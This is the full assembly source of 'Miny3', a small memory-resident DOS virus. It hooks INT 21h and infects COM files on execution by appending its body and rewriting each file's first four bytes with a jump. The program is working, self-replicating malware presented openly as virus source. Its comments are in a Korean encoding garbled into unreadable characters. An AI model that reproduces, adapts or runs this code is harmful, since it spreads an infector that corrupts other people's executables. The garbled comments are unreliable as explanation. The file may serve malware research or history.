;******************************************************************************
;*        MINY3.256 aa a                                             *
;*                                                                            *
;*                                                                            *
;*     3 aA aa e aaA aw a lea ia  *
;*   a a. COM eqqAe w aaa.                             *
;*                                                                            *
;*                                                                            *
;*                                                                            *
;******************************************************************************


 PARASIZE      EQU     (TVirEND - Start + 0Fh) SHR 4 ; A aae a

 VIRUS         SEGMENT PARA 'VIRUS'
               ASSUME CS:VIRUS, DS:VIRUS

 Start:
               call    Next                       ; aa w˥a a

;**************************************************
;     21h  a
;**************************************************

 NewInt21:
               xchg   ah,al                       ; AH,AL t a
               cmp    al,4Bh                      ; Зa?
               jnz    J_Int21

               cmp    ah,30h                      ;  w a aa?
               jnz    Push_All
               xor    ax,ax                       ; xae 0000i a
               IRET

 Push_All:                                        ; Aa w
               Pushf
               Push    ax
               Push    bx
               Push    cx
               Push    dx
               Push    ds
               Push    si

               mov     ax,3D02h                   ; a e a
               Int     21h
               jc      Pop_All                    ; Ae {

               push    cs                         ; CS=DS
               pop     ds
               xchg    bx,ax                      ; BX=a Ѕi

 Read_File:
               mov     ah,3Fh                     ;  i
               mov     dx,offset Org4bytes        ; 4 aa
               mov     si,dx                      ; SI=e 
               mov     cx,0004h                   ; 
               int     21h

 ChkFileisEXE:
               cmp     byte ptr [SI],'M'          ; EXE a a?
               jz      Close_File                 ; EXE e a ia

 Infect_COM:
               cmp     byte ptr [SI+3],43h        ; qqa a
               jz      Close_File                 ; (V3 w ti aa
                                                  ; qqeQ)
               mov     al,02h                     ; a A ᝡ
               call    Set_Pnt

               cmp     ax,1234                    ; 1234 a bea?
               jb      Close_File
               cmp     ax,65000                   ; 65000 a ea?
               ja      Close_File

               sub     ax,0003                    ; a -3 = ai á
               mov     word ptr Filehead+1,ax
               mov     byte ptr Filehead+3,43h    ; qqa ai

               mov     ah,40h                     ; aa a
               mov     cx, offset VirEND          ;  (256 aa)
               xor     dx,dx                      ; 
               Int     21h

               mov     al,00h                     ; a qa 
               call    Set_Pnt

               mov     ah,40h                     ; aa a
               mov     dx, offset FileHead        ; (|A Ёw)
               mov     cx,0004h                   ; Jump wwa ͡qЁ 4a
               Int     21h                        ; a

 Close_File:                                      ; a h
               mov     ah,3eh                     ; ,iawe qqI a
               Int     21h                        ; a.

 Pop_All:                                         ; Aa 
               Pop     si
               Pop     ds
               Pop     dx
               Pop     cx
               Pop     bx
               Pop     ax
               Popf
 J_Int21:                                         ;  int 21 a
               xchg    ah,al
               DB      0EAh                       ; JMP ww
 OldInt21      DD      ?

;*************************************************
; aa  w aa
;*************************************************
 Next:         pop     BP                         ; BPA CALL  ѡE aqt
               sub     bp, +03                    ; -3 ae aa b

               mov     AX,304Bh                   ;  w a a
               xchg    ah,al                      ; AX=4B30
               Int     21h                        ;
               or      ax,ax                      ; AX t 0000e A aaa 
               jz      Restart_COM                ;  A aaa i w

               mov     ah,0F0h                    ; ϩa
               mov     ch,'S'                     ; ϩa

               MOV     BX,ES                      ; MCB a
               NOP
               DEC     BX                         ; -1 : Memory Control Block
               mov     ds,bx
               NOP
               xor     bx,bx                      ; BX=0000
               Inc     bl                         ; BL=01
               cmp     byte ptr [BX-1],'Z'        ; ab iⷥa?
               jnz     Restart_COM                ; ae  w eq
               NOP
               mov     AX, PARASIZE               ;   a
               sub     word ptr [BX+02],AX        ; i aa(BX=0003)
               NOP

               sub     word ptr [BX+11h],AX       ; aq A iⷁ Aaa 廡
               mov     cl,'V'                     ; BX=0012 (mov cl,'V'e ϩaq)
               mov     es,word ptr [BX+11h]       ;  

                                                  ; Int 21h a
               xor     ax,ax                      ; DS=0000
               mov     ds,ax
               lds     AX, [BX+83h]               ; DI=0084h
               mov     word ptr ss:[BP+OldInt21+2],DS
               mov     word ptr ss:[BP+OldInt21],AX

               push    cs                         ; aai Awᝡ aea.
               pop     ds
               mov     si,BP                      ; SI=aa b
               xor     di,di
               mov     cx,offset TVirEND          ; 
               cld
               repz    movsb                      ; a

               mov     ds,cx                      ; Int 21h i aea.
               cli
               mov     word ptr [BX+85h],es       ;
               mov     word ptr [BX+83h],offset NewInt21
               sti

 Restart_COM:
               mov     si,BP                      ; SI = b

               push    cs
               pop     ds
               push    cs                         ; ds=es
               pop     es

                                                  ;  aa Зa
               add     si,offset Org4bytes        ;  wwa wE 
               mov     di,0100h                   ; q 4 aa 
               push    di
               movsw                              ; a
               movsw
               RET                                ; З

               NOP
 Org4bytes     db      90h,90h,0cdh,20h           ;  4 aa t

 Set_Pnt:                                         ; á  ww
               mov     ah,42h
               xor     cx,cx
               xor     dx,dx
               Int     21h
               RET

               DB     'Miny3'                     ; aa q
 FileHead      DB     0E9h                        ; JMP ww
                                                  ; a aAe eaa
 VirEND:                                          ; qqI a |A a
               DB     ?,?,?                       ; ww
 TVirEND:                                         ; A ae 

 VIRUS         ENDS
               end    start
